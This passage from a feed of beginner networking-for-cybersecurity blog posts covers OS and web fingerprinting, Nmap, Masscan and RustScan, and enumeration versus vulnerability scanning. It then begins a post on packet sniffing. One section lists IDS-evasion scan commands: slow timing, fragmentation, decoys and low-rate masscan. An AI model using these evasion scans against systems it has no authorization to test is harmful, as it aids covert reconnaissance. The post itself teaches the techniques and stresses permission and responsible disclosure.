Instead, it listens to traffic and identifies OS characteristics based on what the system is already sending out.&lt;/p&gt;

&lt;p&gt;Tools like p0f do this very well.&lt;/p&gt;

&lt;p&gt;What passive fingerprinting observes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TTL of outgoing packets&lt;/li&gt;
&lt;li&gt;TCP window size&lt;/li&gt;
&lt;li&gt;MSS values&lt;/li&gt;
&lt;li&gt;Options inside SYN packets&lt;/li&gt;
&lt;li&gt;Delay patterns&lt;/li&gt;
&lt;li&gt;Fragmentation behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why passive is important:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Completely silent&lt;/li&gt;
&lt;li&gt;No packets sent to the target&lt;/li&gt;
&lt;li&gt;Hard to detect&lt;/li&gt;
&lt;li&gt;Useful for monitoring networks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This technique is often used by security teams to silently detect unknown devices or identify suspicious machines.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Active fingerprinting:&lt;/strong&gt;&lt;br&gt;
I poke the system and watch how it reacts. More details but more noise.&lt;br&gt;
&lt;strong&gt;Passive fingerprinting:&lt;/strong&gt;&lt;br&gt;
I only listen. No noise but less detail.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  7. Network Mapping Tools: Nmap, Masscan, RustScan
&lt;/h2&gt;

&lt;p&gt;When I reached this part of my learning, I realized that every scanning tool has a different purpose. They are not competitors. Instead, they are good at different things. Understanding when to use which tool makes scanning much easier.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nmap&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The most complete and most flexible scanner&lt;br&gt;
Nmap is like the Swiss Army knife of network scanning. It can do almost everything: port scanning, service detection, OS detection, NSE scripts, traceroute and more.&lt;/p&gt;

&lt;p&gt;What Nmap is best at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detailed results&lt;/li&gt;
&lt;li&gt;Reliable service and version detection&lt;/li&gt;
&lt;li&gt;OS fingerprinting&lt;/li&gt;
&lt;li&gt;Huge script library for enumeration&lt;/li&gt;
&lt;li&gt;Complex and deep scans&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nmap is slower than Masscan and RustScan, but it gives the most accurate picture.&lt;/p&gt;

&lt;p&gt;Common commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap &amp;lt;target&amp;gt;
nmap -sV &amp;lt;target&amp;gt;
nmap -A &amp;lt;target&amp;gt;
nmap -O &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Masscan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The fastest port scanner in the world&lt;br&gt;
Masscan is designed for speed. It can scan the entire internet in minutes. It does not do deep analysis. It only tells you which ports are open.&lt;/p&gt;

&lt;p&gt;What Masscan is best at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extremely fast scanning&lt;/li&gt;
&lt;li&gt;Large networks&lt;/li&gt;
&lt;li&gt;Initial discovery&lt;/li&gt;
&lt;li&gt;Quick mapping&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Masscan uses a custom TCP/IP stack, so it behaves differently than Nmap.&lt;/p&gt;

&lt;p&gt;Basic Masscan example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;masscan -p1-65535 192.168.1.0/24 --rate 10000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Reasons to use Masscan:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You want to discover open ports quickly&lt;/li&gt;
&lt;li&gt;You want to scan huge IP ranges&lt;/li&gt;
&lt;li&gt;You plan to feed results into Nmap later&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;RustScan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Fast like Masscan but working together with Nmap&lt;br&gt;
RustScan is a modern tool written in Rust. Its idea is simple:&lt;br&gt;
Use Masscan-style speed to find open ports, then automatically run Nmap to analyze them.&lt;/p&gt;

&lt;p&gt;So RustScan is like a bridge:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Masscan speed&lt;/li&gt;
&lt;li&gt;Nmap intelligence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why I like RustScan:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Very fast&lt;/li&gt;
&lt;li&gt;Easy to use&lt;/li&gt;
&lt;li&gt;Perfect for beginners&lt;/li&gt;
&lt;li&gt;Automatically hands ports to Nmap&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Basic command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rustscan -a &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Use Masscan or RustScan to find open ports quickly&lt;/li&gt;
&lt;li&gt;Use Nmap to deeply analyze those ports&lt;/li&gt;
&lt;li&gt;Use Nmap scripts for extra details&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Web Fingerprinting (Tech Stack, Frameworks, Headers)
&lt;/h2&gt;

&lt;p&gt;Web fingerprinting is simply understanding what the website is built with.&lt;br&gt;
Knowing the tech stack helps you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Predict vulnerabilities&lt;/li&gt;
&lt;li&gt;Understand the attack surface&lt;/li&gt;
&lt;li&gt;Identify outdated technologies&lt;/li&gt;
&lt;li&gt;Know which enumeration techniques apply&lt;/li&gt;
&lt;li&gt;Understand the logic flowing behind the website&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is not about attacking. It is only observing what the site already exposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP Response Headers&lt;/strong&gt;&lt;br&gt;
Headers often reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server type (Apache, Nginx, IIS)&lt;/li&gt;
&lt;li&gt;Framework hints (PHP, Express, Django)&lt;/li&gt;
&lt;li&gt;Security tools like Cloudflare or WAFs&lt;/li&gt;
&lt;li&gt;Compression type&lt;/li&gt;
&lt;li&gt;Caching behavior&lt;/li&gt;
&lt;li&gt;Supported methods&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;URL Patterns and Routing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Different frameworks have unique routing styles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Django often uses urls ending in a forward slash&lt;/li&gt;
&lt;li&gt;Laravel uses /public/index.php style patterns&lt;/li&gt;
&lt;li&gt;WordPress exposes /wp-admin/&lt;/li&gt;
&lt;li&gt;Node.js Express often shows API paths like /api/v1/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These small patterns help identify the backend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Page Source and JavaScript&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Viewing source code sometimes shows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Comments left by developers&lt;/li&gt;
&lt;li&gt;JS build tools like React or Vue&lt;/li&gt;
&lt;li&gt;File structure (like /static/, /assets/, /wp-content/)&lt;/li&gt;
&lt;li&gt;Minified frameworks&lt;/li&gt;
&lt;li&gt;API endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even filenames like bundle.js can reveal React or Vue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLS Fingerprinting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SSL/TLS configuration can identify:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web server type&lt;/li&gt;
&lt;li&gt;Operating system&lt;/li&gt;
&lt;li&gt;Supported ciphers&lt;/li&gt;
&lt;li&gt;Age of the server configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools like sslyze, openssl, or nmap --script ssl-enum-ciphers help with this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookies and Session Identifiers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cookie structures can also give clues:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;csrftoken is common in Django&lt;/li&gt;
&lt;li&gt;laravel_session is Laravel&lt;/li&gt;
&lt;li&gt;PHPSESSID is PHP default&lt;/li&gt;
&lt;li&gt;JSESSIONID is Java-based apps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cookies often reveal the framework even when headers are hidden.&lt;/p&gt;

&lt;p&gt;Here are the tools that helped me understand web identification quickly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Wappalyzer&lt;/li&gt;
&lt;li&gt;WhatWeb&lt;/li&gt;
&lt;li&gt;Nmap Scripts&lt;/li&gt;
&lt;li&gt;Curl&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  9. Vulnerability Scanning vs Enumeration (Key Differences)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Finding information that the system openly provides&lt;br&gt;
Enumeration is part of reconnaissance. You are not testing weaknesses. You are only collecting details like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Service versions&lt;/li&gt;
&lt;li&gt;OS information&lt;/li&gt;
&lt;li&gt;Open ports&lt;/li&gt;
&lt;li&gt;Protocol behavior&lt;/li&gt;
&lt;li&gt;User lists (if allowed)&lt;/li&gt;
&lt;li&gt;DNS records&lt;/li&gt;
&lt;li&gt;Website frameworks&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Enumeration answers the question:&lt;br&gt;
What is running here and how does it behave?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Banner grabbing&lt;/li&gt;
&lt;li&gt;Protocol detection&lt;/li&gt;
&lt;li&gt;DNS zone transfers&lt;/li&gt;
&lt;li&gt;Enumerating SMB shares&lt;/li&gt;
&lt;li&gt;Reading HTTP headers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Enumeration is not aggressive.&lt;br&gt;
It is simply asking questions and reading answers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Scanning&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Checking if known weaknesses apply to the system&lt;/p&gt;

&lt;p&gt;Vulnerability scanners compare what they find against a huge database of known issues like outdated software, missing patches, default configurations and misconfigurations.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Vulnerability scanning answers the question:&lt;br&gt;
Is anything here vulnerable?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples of what scanners check:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Outdated versions&lt;/li&gt;
&lt;li&gt;Weak SSL ciphers&lt;/li&gt;
&lt;li&gt;Missing patches&lt;/li&gt;
&lt;li&gt;Misconfigured services&lt;/li&gt;
&lt;li&gt;Known CVEs&lt;/li&gt;
&lt;li&gt;Default credentials&lt;/li&gt;
&lt;li&gt;Weak authentication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Common tools:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Nessus&lt;/li&gt;
&lt;li&gt;OpenVAS&lt;/li&gt;
&lt;li&gt;Qualys&lt;/li&gt;
&lt;li&gt;Nikto (for web servers)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You identify what is there.&lt;/li&gt;
&lt;li&gt;You observe.&lt;/li&gt;
&lt;li&gt;Useful for mapping and understanding the environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Scanning&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You check if what you found is weak.&lt;/li&gt;
&lt;li&gt;You test.&lt;/li&gt;
&lt;li&gt;Useful for finding real risk and security gaps.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Understanding this difference helped me in many ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumeration always comes first&lt;/li&gt;
&lt;li&gt;Without enumeration, scanners produce noisy results&lt;/li&gt;
&lt;li&gt;Enumeration reveals context while vulnerability scanners reveal weaknesses&lt;/li&gt;
&lt;li&gt;Attackers use both, but in different phases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Enumeration builds the map.&lt;br&gt;
Vulnerability scanning shows where the cracks are in that map.&lt;/p&gt;


&lt;h2&gt;
  
  
  10. Evading Detection: IDS, Timeouts &amp;amp; Rate Control
&lt;/h2&gt;

&lt;p&gt;Many companies use IDS or IPS systems to detect unusual traffic. If your scan is too fast, too obvious or too repetitive, it gets flagged immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IDS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Intrusion Detection System&lt;br&gt;
It watches traffic and alerts when something suspicious happens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IPS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Intrusion Prevention System&lt;br&gt;
It not only detects but also blocks or drops your traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Scans Get Detected?&lt;/strong&gt;&lt;br&gt;
IDS tools look for patterns like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Too many ports scanned in a short time&lt;/li&gt;
&lt;li&gt;Sequential scanning patterns&lt;/li&gt;
&lt;li&gt;Unexpected packet flags&lt;/li&gt;
&lt;li&gt;Abnormal connection attempts&lt;/li&gt;
&lt;li&gt;Known fingerprinting signatures&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Techniques Used to Evade Detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Slowing Down the Scan&lt;/strong&gt;&lt;br&gt;
If you scan too fast, IDS sees the pattern immediately.&lt;br&gt;
Slow scans hide these patterns.&lt;/p&gt;

&lt;p&gt;Nmap example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -T2 &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Randomizing Port Order&lt;/strong&gt;&lt;br&gt;
Instead of scanning ports in order 1, 2, 3, 4…&lt;br&gt;
The scan jumps in random order.&lt;/p&gt;

&lt;p&gt;Nmap example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap --randomize-hosts --scan-delay 1s &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Packet Fragmentation&lt;/strong&gt;&lt;br&gt;
Splitting packets into smaller pieces so firewalls cannot reassemble them properly.&lt;/p&gt;

&lt;p&gt;Nmap example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -f &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Decoy Scans&lt;/strong&gt;&lt;br&gt;
Mixing your real IP with fake IPs so the target cannot identify which one is real.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -D 192.168.1.10,192.168.1.20,ME &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Spoofed Source Addresses&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sending traffic that looks like it comes from somewhere else.&lt;br&gt;
Used in research but not practical without handling replies correctly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Adjusting Rate Control&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Masscan, Nmap and RustScan allow changing packet rate.&lt;br&gt;
Lower rate means less suspicious traffic.&lt;/p&gt;

&lt;p&gt;Masscan example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;masscan -p80 &amp;lt;target&amp;gt; --rate 100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fast scanning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--rate 100000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stealth scanning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--rate 100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Timeouts and Delays&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some firewalls delay responses intentionally.&lt;br&gt;
Some IDS tools use timeout analysis to detect scanning.&lt;br&gt;
Slow scans avoid these traps by sending fewer packets per second.&lt;/p&gt;

&lt;p&gt;A rule that helped me understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fast scan equals loud&lt;/li&gt;
&lt;li&gt;Slow scan equals quiet&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;This is why stealth scanning is often a patience game.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IDS looks for patterns in traffic&lt;/li&gt;
&lt;li&gt;IPS can block scanning completely&lt;/li&gt;
&lt;li&gt;Stealth scanning avoids predictable patterns&lt;/li&gt;
&lt;li&gt;Slow and random scans reduce detection&lt;/li&gt;
&lt;li&gt;Firewalls and IDS systems influence scan results&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. Ethical &amp;amp; Legal Rules of Scanning
&lt;/h2&gt;

&lt;p&gt;Many people think running Nmap on random targets is harmless, but it is not. Even a basic port scan is considered interaction with someone else's system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scanning Without Permission Can Be Illegal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In many countries, scanning someone else's server without permission is viewed as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attempting unauthorized access&lt;/li&gt;
&lt;li&gt;Preparation for intrusion&lt;/li&gt;
&lt;li&gt;Interference with someone else's infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even if you do not attack anything, just scanning can be treated as an offense.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This was a big wake-up call for me as a beginner.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Always Have Written Permission&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you want to scan a system that is not yours, you must have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Explicit permission&lt;/li&gt;
&lt;li&gt;Preferably written permission&lt;/li&gt;
&lt;li&gt;Clear scope of what you are allowed to test&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In real companies, this is called a Rules of Engagement document.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Understand Impact of Scanning&lt;/strong&gt;&lt;br&gt;
Some scans can unintentionally cause problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Aggressive scans can overload weak servers&lt;/li&gt;
&lt;li&gt;UDP scans can trigger alarms&lt;/li&gt;
&lt;li&gt;Fragmented packets may confuse network devices&lt;/li&gt;
&lt;li&gt;IDS logs may alert administrators&lt;/li&gt;
&lt;li&gt;You must understand the impact before scanning.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Responsible Disclosure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you discover a real vulnerability:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do not exploit it&lt;/li&gt;
&lt;li&gt;Do not share it publicly immediately&lt;/li&gt;
&lt;li&gt;Contact the organization privately&lt;/li&gt;
&lt;li&gt;Give them time to fix it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Many companies have bug bounty or security email channels.&lt;/p&gt;




&lt;h2&gt;
  
  
  12. Summary and Final Steps in Networking for Cybersecurity Series
&lt;/h2&gt;

&lt;p&gt;In this final part, you explored how networks are &lt;strong&gt;mapped&lt;/strong&gt;, &lt;strong&gt;scanned&lt;/strong&gt;, and &lt;strong&gt;fingerprinted&lt;/strong&gt;. You learned how port scanning works, how enumeration reveals services and versions, how fingerprinting identifies operating systems and technologies, and how attackers and defenders both rely on these techniques. This completes your foundational knowledge of networking from a cybersecurity perspective.&lt;/p&gt;

&lt;p&gt;With these five parts, you now understand how data moves, how names resolve, how systems are protected, how traffic is analyzed, and how networks are discovered. These skills will help you navigate &lt;strong&gt;penetration testing&lt;/strong&gt;, &lt;strong&gt;incident response&lt;/strong&gt;, &lt;strong&gt;SOC work&lt;/strong&gt;, &lt;strong&gt;secure development&lt;/strong&gt;, and deeper cybersecurity topics like &lt;strong&gt;malware analysis&lt;/strong&gt;, &lt;strong&gt;threat hunting&lt;/strong&gt;, and advanced &lt;strong&gt;protocol security&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;You now have a complete networking foundation for your cybersecurity journey.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
      <category>enumeration</category>
      <category>fingerprinting</category>
    </item>
    <item>
      <title>Networking for Cybersecurity (Part 4): Packets, Sniffing &amp; Traffic Analysis</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Wed, 10 Dec 2025 15:53:42 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-4-packets-sniffing-traffic-analysis-31f9</link>
      <guid>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-4-packets-sniffing-traffic-analysis-31f9</guid>
      <description>&lt;h2&gt;
  
  
  1. Introduction: Seeing What’s Really Happening on the Network
&lt;/h2&gt;

&lt;p&gt;Packet analysis is one of the most important practical skills in cybersecurity. Logs and dashboards show summaries, but packets show the truth. Every attack, every request, every connection and every mistake is visible at the packet level.&lt;/p&gt;

&lt;p&gt;When you capture packets, you are looking directly at how devices communicate: the IPs they talk to, the protocols they use, the headers they send, and sometimes even the raw data itself. This is how you detect abnormalities, debug issues, confirm attacks and understand network behavior in real detail.&lt;/p&gt;

&lt;p&gt;Tools like &lt;strong&gt;Wireshark&lt;/strong&gt; and &lt;strong&gt;tcpdump&lt;/strong&gt; let you “see inside the network” instead of guessing. For cybersecurity, this visibility is essential. Without analyzing packets, you're working blind.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Network Packets Contain (Headers, Data, Metadata)
&lt;/h2&gt;

&lt;p&gt;Every piece of network communication is broken into packets. A packet is basically a small container with information that routers, switches and systems use to deliver data correctly.&lt;/p&gt;

&lt;p&gt;A packet has two main parts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Headers&lt;/strong&gt;&lt;br&gt;
These contain control information used for delivery. Examples: source IP, destination IP, ports, protocol, sequence numbers and flags. Headers tell the network how to route, track and interpret the packet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload (Data)&lt;/strong&gt;&lt;br&gt;
The actual content being sent. Could be an HTTP request, DNS query, TLS handshake or any other application data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metadata&lt;/strong&gt;&lt;br&gt;
Extra details generated during transmission or capture. Examples: timestamps, capture size, interface name, packet length and network path information. Metadata helps analysts understand timing, patterns and context.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Packet Structure: Ethernet, IP, TCP/UDP Explained
&lt;/h2&gt;

&lt;p&gt;A network packet is built in layers. Each layer adds its own header so the packet can travel across different parts of the network. Understanding these layers helps you read raw traffic in tools like Wireshark.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjaxs3euha3wqj23adm4f.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjaxs3euha3wqj23adm4f.webp" alt=" " width="640" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ethernet (Layer 2)&lt;/strong&gt;&lt;br&gt;
This is the lowest visible layer in most packet captures. It includes source and destination MAC addresses. Ethernet frames operate inside local networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP (Layer 3)&lt;/strong&gt;&lt;br&gt;
This layer provides addressing for moving packets across different networks. The IP header includes source IP, destination IP, TTL, protocol type and fragmentation details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TCP or UDP (Layer 4)&lt;/strong&gt;&lt;br&gt;
This layer adds transport information.&lt;br&gt;
**TCP **includes sequence numbers, acknowledgments, flags (SYN, ACK, FIN), and handles reliable delivery.&lt;br&gt;
**UDP **is simpler and contains only ports and length. No reliability features.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Application Data (Layer 7)&lt;/strong&gt;&lt;br&gt;
This is the actual content like HTTP, DNS, TLS or any other protocol data. Sometimes readable in plaintext (HTTP), sometimes encrypted (HTTPS).&lt;/p&gt;

&lt;p&gt;The packet structure always follows the same order:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ethernet header → IP header → TCP/UDP header → Application data&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Tools for Packet Capture: Wireshark, tcpdump, Tshark
&lt;/h2&gt;

&lt;p&gt;To analyze network traffic, you need tools that can capture and inspect packets. The three most important tools in cybersecurity are Wireshark, tcpdump and Tshark. They all capture the same data but in different ways.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh045bh2rt403txk8awhn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh045bh2rt403txk8awhn.webp" alt=" " width="800" height="1053"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;br&gt;
A graphical packet analysis tool. Shows packets in a readable interface with color-coding, filters and protocol details. Ideal for learning, investigating incidents and deep inspection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;tcpdump&lt;/strong&gt;&lt;br&gt;
A command-line tool for capturing packets. Lightweight, fast and commonly used on servers. Perfect for quick captures, remote troubleshooting and environments without a GUI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tshark&lt;/strong&gt;&lt;br&gt;
The command-line version of Wireshark. Offers advanced filtering and scripting options. Useful for automated analysis, logs, or large-scale captures.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt;&lt;br&gt;
Wireshark is best for visual analysis.&lt;br&gt;
tcpdump is best for quick captures.&lt;br&gt;
Tshark is best for automation and scripting.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. How Packet Sniffing Works (Promiscuous Mode &amp;amp; Mirror Ports)
&lt;/h2&gt;

&lt;p&gt;Packet sniffing means capturing network traffic so you can see what devices are sending and receiving. Normally, a network interface only sees packets meant for it, but sniffing tools use special methods to capture more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Promiscuous Mode (for wired Ethernet or Wi-Fi)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Normal network card behavior:&lt;/strong&gt; Your device only receives packets meant for its MAC address.&lt;br&gt;
&lt;strong&gt;Promiscuous mode:&lt;/strong&gt; Your device receives every packet the interface can see, even if it is not meant for you.&lt;br&gt;
&lt;strong&gt;Limitations:&lt;/strong&gt; On modern switches, this does not give you all traffic on the network, because switches isolate traffic.&lt;br&gt;
You only see what reaches your port.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitor Mode (Wi-Fi only)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Promiscuous Mode&lt;/strong&gt; = “see all packets addressed to this interface”&lt;br&gt;
&lt;strong&gt;Monitor Mode&lt;/strong&gt; = “listen to the radio waves directly”&lt;/p&gt;

